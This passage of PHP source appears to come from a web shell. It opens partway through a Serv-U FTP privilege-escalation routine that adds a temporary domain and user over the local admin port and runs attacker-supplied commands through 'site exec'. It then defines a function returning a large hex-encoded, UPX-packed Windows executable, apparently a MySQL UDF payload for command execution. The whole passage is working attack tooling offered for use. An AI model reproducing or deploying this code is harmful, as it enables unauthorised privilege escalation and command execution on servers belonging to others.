        $recvbuf = @fgets($sock, 1024);
        echo ": $recvbuf <br>";
        $sendbuf = $domain;
        @fputs($sock, $sendbuf, strlen($sendbuf));
        echo ": $sendbuf <br>";
        $recvbuf = @fgets($sock, 1024);
        echo ": $recvbuf <br>";
        $sendbuf = $adduser;
        @fputs($sock, $sendbuf, strlen($sendbuf));
        echo ": $sendbuf <br>";
        $recvbuf = @fgets($sock, 1024);
        echo ": $recvbuf <br>";
        if (!empty($_POST['SUCommand'])) {
            $exp = @fsockopen("127.0.0.1", "21", $errno, $errstr, 10);
            $recvbuf = @fgets($exp, 1024);
            echo ": $recvbuf <br>";
            $sendbuf = "USER " . $_POST['user'] . "\r\n";
            @fputs($exp, $sendbuf, strlen($sendbuf));
            echo ": $sendbuf <br>";
            $recvbuf = @fgets($exp, 1024);
            echo ": $recvbuf <br>";
            $sendbuf = "PASS " . $_POST['password'] . "\r\n";
            @fputs($exp, $sendbuf, strlen($sendbuf));
            echo ": $sendbuf <br>";
            $recvbuf = @fgets($exp, 1024);
            echo ": $recvbuf <br>";
            $sendbuf = "site exec " . $_POST["SUCommand"] . "\r\n";
            @fputs($exp, $sendbuf, strlen($sendbuf));
            echo ": site exec <font color=#006600>" . $_POST["SUCommand"] . "</font> <br>";
            $recvbuf = @fgets($exp, 1024);
            echo ": $recvbuf <br>";
            $sendbuf = $deldomain;
            @fputs($sock, $sendbuf, strlen($sendbuf));
            echo ": $sendbuf <br>";
            $recvbuf = @fgets($sock, 1024);
            echo ": $recvbuf <br>";
            @fclose($exp);
        }
        @fclose($sock);
        echo '</div>';
    }
}
//MYSQL
function Mysql_shellcode() {
    return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917466380E6E8D542408D731F62D925266181108435C5C8F4F4A761850514F9481106A5CDFBFEACC4044076C1589B424809674C67652DD247C03788C5FB65E56B87B49BCBFF0FF255B3CCCCC8D87D4E1674755E7F0FF42DF86C00D5F613C5D6C7904F74104868B23B8065423740F795CEFDCD7B7A5108902B863C33E1210506AFE5C908E7F40F864FF35A900198E1AB52529582FDDD5B4BFC0ED742E3B932474FA34768B0CB38959BD2DB50A02C304B394751268F7DBBFEDBD2DB37D0EAAFF5408EBC3648F0543236C7286EA8C1A648B9C8184FF83DF7904687510E3520C3951087505CF4D05BBFB5351BB1E18EB0A082489DFDCB7B64B02439D6B0C595BFCEF56433230069F0BF758433030F7A5FAFCD82C10DBD10C74F740E42682B58DD63E3F45F812E11B8D08B67F97AD3E21737B08C1618D0C76B18FEA6EED5F744556558D6B10A80B5D5E410B33BBE85ED633783C25534F0DD41D2B38D3AF560C0E168D36B7DEDDB6C5648F358F550C3B08C77EBF73301A8B348FEBA1B8DBEB1CC9EB15884DD67A5C003F5D16466F684394BC3B8B298B419FCC256BB4031824E1D763D9B66E20CF56BDE8C0E010E24785ED75EC423C0AE0DD5B0D1A7E4DE47F34168D5AFF3ADD766B1B92784D1C8020770D2450EDC3FF4884157559598BC65EC9C3CF8DDCFAF7D7B26B71151008C3B7E0772212C7424B4F0434A759913916BDF01C6C7410131E97DEB2C3568BB5FB05D7383B42565777216A091C1FF8ECA245FBA424020C91EF2059E1DB46ED38CEC7FD85F675032863FCDA7F5E83C60F83E6F056887CA4BCC65CE23B3A6BFC4D5716F6460C4074ECEFB75D15660CB2174D29730510B35652F790357329C54E308374342411FAFEE42B502AF7FF761007176F9B34F5DD7D0525EB128B461C530B5FD2A4D87B1C0059644B2A20B25628752EE34A467A86B386F62C591AE1D81E2DFA85EFFD0A7C092CE61D90280DE157F8ED397D08470F94C0485BC31630077AC31A6E5DF1025B5756391803BA23977D6097CA146A401A0CB8CDDCF7039B4DB4DD40743DFD6E78405720AC597B741356C220D7843337E11962410B5957B4C5DA2E6018CC07835328D00CBC3010E326ABA73DB884FB1147D903CB8BFEEA5A8A4614B8F01759C93A47FF7704A94949608563EF1B385B5E5FC93A00513D7DBB8B3B1C279772148111222E2D10B5B73FF685011773EC2BC88BC40C8BE18B596EB4A32D685036C10C576D747A9BF8BAEB74D9C614F7C64D8B197507F8B77803AB756FEB21F646880747497425FF6BCFBA26291F75EB2D1D5183E303740DEE5EEF66201D2F4B75F38492C3F7C79ED9E0FD2874123AFD8A116A9B3BE93AEE6C182EFA2AD1DBC2F6C82E89FEC7D074AFBAA5DB2FB523FEC70603D083F0E8C28B4F78E1BFF5C604A900948174DE84D2742C84641EF7C26FB7B7B90F580C070875C639EB18818C34DDA3E272090E00046A2BC45A88533F550A3B6CF7EBEE075F75F8B07585A3CCFFEFDE8DC6974E8A11F161698A7101DDBF2B74644F7719148A074638D07415D90BD3D2A573E30A0A75F5FC5F51E242173E10F0078D7E436102FE3B2A50DD4E1DC60238E075C48A410376EDDDEF31188A66FF83C11074DFEBB12F348AC26B74851B9030F28DBC0CC34C05C7DB88DFFC83F8F988CC078FA7DBC668BEA3068E58BEB2427EBB8EDE3CA10E680D075925DEC12DBDD1F7FB12102760891664950803C1EDDB50F3375C32F7750940EE78769BDDD8EB7256641CA4C03968098DCC7BB3D96D345204371B366231A8FF0519627F7FBBC8EB3E6B3BC1752C390D0D7EBDFF07E6FB0AFC0D8E90E128E6320E175A89D8331A64FBC25507514EADD87E11B259BF5833A569A363097D56B457C7105EBDC0D6BB09833D482926C101740547D36EA3040322DAA4C4E809F4AED9996EFFD0080CC113CC04BCB6D410BF4E0F07EB8D01C90C4C6D6FB0BB1737575023F6467926A315ED8034032125F71F0117396C115B083C5BD8B9E241C0D01A8DD4D8B1AE6176BA310E97D801DB78C041E03A9A3A3AD3C57DCD2A7D3B8130AB756C462D6C36BE025E10A882D2F6A840B9EEDAB61BED074AA96604071017DE6EBFF77F3F4E0824FE890E89462F1883657524EF0337F72D6E66A90C0115F981FE8B03BFC75A289C0748750BC03F32AE6ABFFDD7073E3EEE5966F7270801577467420BDCB65FAC3E2BF88D48390E581849A489DEB99EF04E047E10053CFE53DCEB3683FBF6CBFFDFBA198BCB8BC3C1F90583E01F8B0C8D93808D04C002B6F4B2D08196B88498F6F320F399B156A107783A260A4B2CD15C8A9E88E614B7C0C24A0D74885507DF40A12932DF4E0C20EB0FCC16B8760C7CEB080DC2C1C8A50E864C17064802DFBA95A1E6798A1F09DB8975F411BAD06E02EC890F0EF406D1B705D74A8D370641D00939554ABF7DF7EC0F8CDC1780FB207C1304787F0E0FBE50152EC08631717461EB02F8BE2DBCBB0F84C60E94C1F804A70789D00F879A85F652EC30FF24901DB2834803CBB22CDB55CC02D8E0E4FCDCBC6DBB4D5D1D954883E8E43B0403742DC1B55EA20B1F4848840DA8D2C56E6E594039FC082708041CB28C1D0111808002C3128E9EFB2AF9B9509B687613661E6CC80F8D12469B89985B8ED80E27B476CBB2ED170A666C4441D0EBE98AF03EED5C2E641EF0D305BF30E7CE63398D0489361B346FCBDB56AE2E046874206CB880FB7790495E2EA005804DFD10EEC6FFE4203F367514807F0134CA4747271FDA628680771888D0AA8568B7C6ED0D1C0FB6C3F66601802291EC50147E06131E28981DCEB0C18DCC35EB4733181652F39BE127F8670F8F1CE508650F8D9600F9EF43DB5811EBA9847817E8430F849FB96D5D836D70036C100CB8E903AF74A146C6BE3008CCC08B25430BFDF0BD68BEFACAC54BC21921D0ADAED4DEFB894DF844E7B1C92D0E2DE47EB981381229DC7477B37D212AD64E85D220D466833878869FED5DCA094040EBE721CC80C320136B1B74AB408FB8FDF3CAD14DDB955F708DCFF3F006CB1A0D8DAFF1660377862E8848BF578089043A953F5B008DD1D6C5F490323FD80C298EDDBEBDD35A7432040974C5487CE801521C97B3B345FE3A6C59882AF4471A183147BD2002BB8916359DDE6F2CF64580D9CCB97F74170FBF00D1E8E369E652D7D8C3AD2DDC000CBF0E94AE6DB4BE6E81344D50C28D8314670B2D826B25D5165C50CCA2B5AFD483C05E08F05D4B053B6C377540FC0EBCC8D18B851FB082B8F7855082FCC9C6057EB581E69E741429F0003506BE67B324205C595D12AF788432611654562D750DD0C2BB653A29BDB9E06157A758888D8459A619694899ED2C1D0C059E0684B686FB2C805184FD331B23B1CF05F77491C9C15DD4273C602621F62BC1D1F847FD340BDB0582F6288038AF03ECF1D728176B2624FE853D6B2815CC074DBB7B10D410A6FEF65D8A13C645EA3004516377CF60DF678845EBEB4821083BC202EB35D6852E09971B209909669F08CD2DF0EC668909050706F514EB0E296A403C0A69BF1FD6A05FA53A7959EB413D74218519637405404A0C0FBB641B0CF6C099EB250BB7C8F220AFC0ECC908EBE0070E19B8F5C6DB741BE37F177C1AC073115883D2D6E2C30D9FF7DA698BFAC90B1FDEE0B50577DC83E700B27D09161B2D08FD1B2AFCAA3AC0B6FBC60BC77509E40060B733D6DEADD55E614A7F0619EE0F765B5DFDF4995250578AC009C476409C5FDB6E372AC48B66C33007C017112CCBF6DF063E39677E03035DD440F8F847D75CF78818EBB5502B0C027F02A51AEE9B03611880393075A90A009BBBEB24400FC601301A98D825DEFEB1B6F4935DFCF6C3D226F6C716CF5A8386068A2D5C0F0A2BEB47369A970902740B20C1E475E06035B6ED2B75E402F4180C7884BDDB61A91B201EF0C41011CD7C37B703EA1402E45015342C9001D94C3E3104306F6B97DA893E7441058B7EFBBB0B97688E3B78FFDD034347C8502DFC54A443DE9D7E328DE9516EA164CF3B1759984FDB962DD802C7155802F4F860A50AC977AC79A5D7193808FBF97DF729B3456313F9E86DEC99D334B75BE01830031706216D30D1354DA4ACE11B7440C6126F55424F490478DC11BA6D6C74898A02FF0EB6300BB90233E098006C4E9468254A90D68C71D8A3AE4A83B557AFA9E0B06AEA7E21B618B714AB63DB43B9833E0D07207FE3B5B628B5908B5CE81A4BE6775DD73831263C1C35100FBE065746CDE7EC505F363FC34BE26D6C3C72BE9F580081008DAE0673520C083B4163B3A177D951FC1C661D6F8DE0B474E8500F41CC5204B4702D700B30027114E0550798688478EAA3365283702294BC5DF20D50600F6E85C0750F6C60A1FBCF373E5333DB391D15B4282D5DC3431B267E44D8B8013D0E74FB768AED8D700C5540785BFF36FFD70810E0916D800A6AFF7604626BC75EEAD59C14433B487CCED915DB812D1BB81D785DF6568CFDDB41DC7078158184FFD6077415CA2083644457D42DB983867CBE100A06FE2B8F3C763BD13474230774741B647413A8AE012344D398367B845CC52BDCFF007CC45A2067C106D76A07845D1003CA44F85083EAC716DE3C856C6C3407753E576A181F3B1A1F3C8BF8D4336A113542FB8D06BC59078C08005957750ADA0E78B31F78893EEB067A1D84D9607F865F281A805E5D60FF57605AA8B11584CC40A48B4F485801B7B87501172BC5D86E2508B00006B41217B770A0FBACC70505A48BBDA118AD96AFC18DB107B88858F0E16FC47314B5042B500C81FAB27207DB210C6FBB14EBE8EC321C556E34D5880C2E6A41DEF22BA3DF60A36A5AAFC2FC57C1EE7F37AA817FCE8B7AFC69C904D24B448D8C8E1A35C50144695D695685463BF80C13F6C1012E757FFDF4B46FFAED3F495F0B0C3BCF76038E8B4C13043B03BFF84D4BF4486783F920731CBF2CD3EFBFFB5FE88D4C01C4D7217CB044FE09752B752139EB2483C1EEC15CB0E01E2D21BCB0C4124AAEF174240679F04D42ADB519DB55890A040803630DDAD6FEBB088C8BFBC1FF044F83FF3F7B865F2F5167A8DBBDE197ECC4422BE20562AEA711A188F8495ADB5AF7E6A464760589F3CA411BFB40ED56E09F3E3BFA76028ABF746B2E9101DB4C69BE51BDBA16B9E491EAD22154111E96900F0BBDD221944C72B66DB152BF49BE4A0B04658BD6CA0811910EECB610F9D40939B68900B2F9295B73DD1B0B26892F0E05087FFB652B974A638A4C0704EF20884D0FFEC1FDEBE2BB880B7325807D0F55BB888BCFD3EBD81A25DB7609190DECB109B10BC436592924DC4FE019D821B8672559040F9D84B7F0DFC0F009388B54D0891A895C13FCFF086BAA0FB348FA4EB09CDFA6AFFFACEE0D0DA80EC1E10F03480CBB03B159E9581653513A1F32068B3D081C0950080E3940DDCDDE0D31A4886C570FFE48431C7BC39F0A481080794313836004FE118378D65AA61D106C5310785A124642882D0910C9F48D72F5388B15F21430C1C2B146DA282BC892110AD307BE708D48145170411C6D428DF767FA85B43B05223518BFEEEFD81496B88905ACEB0324A3AC8935B0493138532A6627F7AE142F68578D3C822C1B8E0ED3C6481776F0176A4934000B6FD57D0E56D3EE83EDFFEE0BE0B899EB1026BE33F6D3E80EC62D3E173049AC0F3BDF7FBF5D58E20873E14BE13B232B23FE0BCF75DDAE718B0B24143B9A1872E707756D26E4FB798BDA3BD8261505EBE6740BD7A019AC24C2837B3C3BD72A68891337EBED2681397B870D1B2FEEDBC8DC7646270B7B85DB90530E61DBE2F6BC595B1089FA43A8386C75EF6E6B071BE91406891DA5148B886F0BB016FAFEFC2D8B8C90C4B6B387FDAD904488378B127011557DA1A156DD1F000E440BD68B563077BF0B75178B91841CFF45FC04BF35EBA6FFFE23390BD774E98B97CA33FF5C5A741B87584D764C57CEE68DBA12C166EC645F9DBAED0AFD7C05D1E147EB752054F9430A2BE956EFEA7FF17BC1FE044EDE3F7EF83AC9DCB85E3BF79B0D0124617421206D207D2B11A27C383AEEFEB69CD3F3EC235C88448903FE0F75EA08B181F48E7B210BEB31172B5CBBC56895A1322119293673148215982C85220AA6D76593C07A04F80095AF3F4735D77A089084C5A97CF10348AD6D420CA522C264A974B32C06FE0B7D29C499C636576A0B331162BFB0CE6EBB64978C093B0A8F097CAEEB2FEF437AC0280D8D4EB6097B04B15C8F74B1BCAD16BEEE09376A2EB7F4AEF70B890A8903FCB2790DBFED56AE03D122011232FC9F8B34126FB70E218D790F3E751AA9B0A011A92BDC4B3BA406A49772C16B119C8D420408A1C41769A10220A489C09A6E6D44B6305F89507250D401E924E15797903B319841A10B889CC0930BF8653DB868C4411B45CBD81233305C81335C89834517F04610742A1B20655783363A63198CB014BDA5461C586460B47CB1856EAD4E24C5897E060562244A196A41B98BC36E74F1E051DF3771C84108343B5A2DDCC54FE043C331B63E6E3769C0815AFB3082C3026CB745EA40080204DE4A1E88D0AD5BFB85C1E7DF790C47A68686BDE88B3B08D13768ED4D2728B28D97101342773C47834BDB8D477748F283887EF4368379778D88FC06C740FCF0420EEFD0E77E01C24804C780E810140517EA0D7E3B48F09676C78B744F0CEDADFBC405F8FC015F2689AC8D4A0C087FB8BD6C8F41649E4442BC9EE38A46438A6F75D78DC80B84C07A884E43A30978047050608CBA2CCB687EA5266189BDC3ABA031BEAB17B614AB5ECCB80002BD063BC67D07EE07DA5BA319DB134451590D8DB535C5949808211256F4A0FA648B9018E21A33C9B874EBB7193D601519890476C020D46CEFC0D50884887CEA1CBA187C8A05A09A5BFE1134B5E055539F8B04865274C3F02F5E586F0A20C220418D82787CD1AD76BBA8A29BAC80448E8C458D3746DD05E97ADEE9B96A61A796EDDF72175F6877102B56F8C03B75466E436659C37CD780A065A52718F8141E1E722A5B76E9225120592139250384205934F449A884E2948073382CC6A1FE435607F644810401741D57A86F7264B348442A7448A3FCC6CF50E245D2C775C00ADB83F4E16C668AE85C39023A3E046A9095C4166A02CBDD6BC416264B1F593BC71C196610672B59CD696F29DA19821C24DFFF1D0A05DCDB4783A383E61FF3EF8A0635FAC7A40CF68064880400C60851AE70BF7F5F597D0FC1768182434EA883C3A8FC63B4B42A197808CA6681660CF7FB3360DBD2525E06900802042A635FC5A8648605C2F6FD1FE5EA460D409C6C48C5F7D8595E1B4B5F015E991B2E0C8957FBF609705C8080F9D53766A908E0B36F1368317B907E2657503BBFADE0401BD00E8B8074DC0DB4EB0E24FD07EB072483CBFF30351A9B81EF8B5FF6F5C154F85CC185B5ACF1279788D15A63F90E7A593917EDF118D97E74A1BBFFCDA30AA57A745FF6401D32AAC18561ECA218591A8517DFBB806DC11830AF01750F505222BC80D608851D37C597B58E4A50FF028B1A7536B654EC020BF841CEB04FF44A9DE370EC463B737C8CB1423914D98487B70160C37402FB5B36E42806FDA08A7477A50538839E890BA9639456E1A05FD68E48A06017858ED552908E4C6B80C4EAAF3109BB47752053951FDA5B57F7079E8D4614759F0658A54A340BA518EB56044261DBB65E097E123E0704C53F7CD5E1EE02115B5F5B5E95DD0001C3A150DC9BBA831B0B3F6116D080660DEE6118962668025B6C02664959538926F4317D0FAF7D10012334068B5B078BDF3C2E9A45D7CE0AA8AE74157E457AFB96A27C4014A78B7781E10868B1ABEDE67429191174229580AB1616697212F863F186A53FA9495C297E393EF62BDF017D321EBC6CD046147246CD63DA56A250177A4E74D391EDADDDBBD2F76B402BFAEB42FBE3F66B1935744701982BD83F1A608976723EB00729D10F234482252450E9D42E4AE0BE169FA44BA586D8080CF1A7264385F0385DD08157106F6A23B633A465C72B7483E7FE545B3CCF56C179148A0141CEF06CA387400E75F1B3ED814975AA01605E2CDD0623955CE88AFC2B32B9A7BA51C724A95E1306B6F57EA30719EBCD8D41FF559CC309824C32C9FEFDFCD126301C8687398FA4DF221A7A0BD2F86E8A073C61051BB4F4741A3C727C3CCC22BFD1D675FE0192EB20C99601EB08B909786157731209405A8A1D473AC31DB46DB6B5E33BD307DB60BEF652DB85C016547F3E601A2B74450475DBD6F21974360E61484CAC1F39FF2C98AD6108A328FC83C920EBB72F7D2063148E10EBA22240757D0BA54D6F0940EB982C7573E993E6006EA0B7FC0F0281CE0DEB82B8BA7D5C782AC8860BC834DB656274BE8BB60DCB2E070B42067540F6C5B6B7D8B7C73B80CD401E63F8752E5FF89315FE0A37E6FFBF9B16175DECD521CE84163A741DD9621B8DD20B418068A4D71362C3242210EA4C917EA9543C7DC4103BCB7D701A2C68DB12B73A896A89588018040859334A6C021C82005196FB871825A0590F8E9D7855AE209F1F3BC374377521509175ACB30D1BB16D14501D16E97FEBC4EBBA3CB1EB446A38C1E602C23268066B62600E56063A65306C327A7815DE4B1B96B3273CFB384F108C5F58DB56B604020CBF1F041C7EA1819D355975CC00D885F6E36DFF118DA424AB8D6406075AD5AA838AE5531FE0FEC7780B3708F7C2DB138A0A4238D974D18437EACF9683511275ED0BD857FBE310281E4BB5560893BFE5F8F18D6E5D33CB0365F983F1FFF0CF33BF3F4A3770C204EEF3751C250674D37F51D83AC508C1B475C45E357E0B5A808C8B42FC38D867A67BD33713EF38DC742717E7C1E81012157BD66E9ADC06D4EB962DB142FE377A38279D06FDFC0494C36B20EE5002FFD0371404E634449EEF32AC0E0400F3C3F32CC015505431F5DF64B1025F0E57299A11FC45438A3999947511064E18C1096C987394302FFE36C50C00E714892290881DC2F5115EDF753C8690D7C58C568D71E2EE112F52F07213AC9A83EE04883CDFC7349073ED5E972018AD20CF57A1102824851B7B7F8D5BC50BA35FC3816A9480BC60711B88116A0DEC08B25DB038E194D7730D70F6B55660C6FB6A192A6339BBB1C935A4F6C08490546A74E2A0D18E50ED8BF06B7875239F5A93565B8490A04018A50A8CFD37333859109C0462BF193868305333528CA116131E782F690E182FD118D1D80D41C3BB505244A06D10F00653BE5660368B9464F20D1CD94730B00D3F8A26684BC9911588EB227536D99B1059ACF545305BC392D09113D0022FDB610D506E746CF12499906D19450D283009999009384098EC9D9044503DEE10560B0EECA4FC00CA5E4F16D4E81A48506896046AD2546CF4691B8DA62874879FD9942100DE784F9B862947731E8085F74FECDD0EFF8BC646050AA127E253F4A8DF24051FEBDE784B518CBAC46620EA001F5B9B86281ABBC6388DD98DDD02AE1A81EA7D0851F8BAB787897C79E3677D56BE4C84983D04CB930D83839A1F6B556AC082C1731C806008F6D6A55960408B0E882481C1806DF5CC31E06D4D7CB76E8B130D1588092ACE4C3B04BCB1508BAAF926388A03BE126DB4BE32527572AABC04ACA41A4123404AFD37E0487D8B0989088A0B88488F05BE558B0AFC3BF77CB485016FF04E5B23333C81FFFDAD50BA3C754D290E2F75056AF658EB099B09BA92C348C397F50DC96E1BD0B84AFF7A175770340A9D800C5B0A25C1068D1B9906804BA40FEFB6700D540A0A700405804383FB6130F2E1037C97B89480B40638B491DEBE7B5E375778A8F0056E4673218D70837BFC00FB7DC26DAC0B7C2083C79683C324C8D00CBA2072E2854824720F338825B85473C487A01D94885B155434811237F8D58DCC6B8A069ED218A996783C3D74A756FA8DC26D4B140AC3E8F9BD581D3F9EF1C63B3BF3318E74410955BF1D267B41381F74395583D8ED8F348BE85945803F49225534521DBBCC54C02E579D4F6C67C4BEFD9A5903FD3775C95DFF84C28934C768BF1D0B891EAE9484015BA2BBB25983BDBE8A98994FC1A75456530DC0A15A84E38FA2848BFE3818747463A5FA7DA307FC5053539F37B4040B0CDB05C90488D486186DD8A46BD6A1082F2700C34A7424864635A6A08D355F485A6C9C9232B1458A68B14C18D147EFF317208321008B7510C700B50156B0802BEF4937A05BFFDFA0AE80382275448A50014080FA22FE84AE1B2FFFD274250FB6D2F68292610425FF012B3B3256FA068A108816F60BD5EBCE0C6E6FA11124CB46401CEB43F2B645C61E05044044DAF683D6DCFD5B1918881E4665207409090870ACF5F20975CC750348C34A66FF9A5AA946B5674EB5E003F0BE66442B052787A281993117C8BC15CE169739FF02FB0885FA5AD0B8225C75C8DA922C7FE1C6AD02752541397D6D0D807801228D86257A6BE31D8BC2EBA3080CF0DB770416180F94C28905D1EB8BD34B88F6EF02F30E4388C6065C46B16AADAE355980A74A4693682E4C67168A3F863D1306ACDBE32E2819E2061F7303C2091B0F400315016B43F850BF38A0300F0E95A9E1EE6EC70383278E140246DDD1306449258F9C5378446DA830D4E06CF633141A8DCD4D04D50E0B49180F407B7B21892858CC428BC6D047F317EA10C700CE1B02433A45DBACA33CE581430C3F27C2BDDD5A3766391E6AEB4040081875F96DFC419F06F22BC6CFCCD1F88E40DA2A5AA3025D038A345852EB0DCCE83BEBAC3213B75683C9AC1C55508D3A57D05C242521D20C10CAB56A90275C2703F6756B0C92C888EB53624CA54A0592B985B1566089DFF6858D740A40387BFB04F62B223760495B6A55CE03F6EB727180A50BBA560F91E248D0CEBAC4BA9E5D5B20070261ED572A381026E821681A536C106A7450A213FF153A152B3859450C163A448330D4653B5BB95BD0D7EC084144F77CF0DE6889F134F18E033B961ACCC230B7471C2A6C45E8F75437E9700D10D77AFA75037A08B60BF18F5CBD59A522560055016B47C1BA30131750E0506DD65B3A3B591257D9BD07A8D6D90B3040963C76291950BBFDBE7076F80D838D6A0303F841DC5739B99D10B3105560FFC05D36763610570C7C1DBC7D36EB9E10FFB6D3C41611681020F8F6B9ACA927945450592C5FEB26165A6C81A38D30C7F23612B1DD0482086AF4D56CC881110FD85EC90E40C128265325F34226D911163C8B14C0012B0C8329EB2D3983D71C90A756F6DC784CC8D5EB7438B125213EF950E99ECEF2B2D61C11A9AEA880643C287BEEFD8DAD8AD73D63F3831881D51404B03582AFB210EA02F01B61E0594E3EE9B3B68D4B38F7881CB50C80F4C025622BC08B03317E30641C5E45AB0EE3A24C96880D535B24C67C80066F04368EC1F10C5229231AE3AEF90F86EAA0ECF1EE5BD5416E2BB64D1073290AD62EB045A58A95F90A7409FFDEBED0F02B0D408808EFC88D95292BCA81F9883D3655127CCC8911DBE3393ABFF4130D6B71FF85A061C634300C6343065FB6F6D20145E8C77C0B0964454510728A9960E96DD98B134E90464868B5BF8B74626A055E39B51D177F2126FC8930EB41B456EBC78D4DF4575CE6BA01B310FF43640B2EBB51CED14FEBA72C9C1EDA241C06E02C9720405AE8A015F52CEA1A10AA6C4FF24D666E1C38EBD2A4F007458258DF02F1B516CC808C6E6DFDFEAD068E6583490C08C741181BEB1103CEDDC80C494114181276D4525CA25E83618A011AE0188DF93B377203DCC883E17018AF362C368AD1A1D81C331340E58CC009FC7591345730E486E0D55BE159519130D716D76A138E1DB69AE51E5B00DE3FB41B155A22DD0CF3A00AE11ABC7A1EFBD82BD7246046735A732844BF5A020BA68FCC6C5DA0702B700C66C8077739D80A6DA14BDD581A58B26575F1A436CF51A08B84600C33C2CFBD1A506820CF118FDC6DCCCC208C4106F80E3A2AD716B6195F41CC00CDFB55B88A6D180B7718CFE8BA37C2F72AF18BD8090C07D31139A050D60C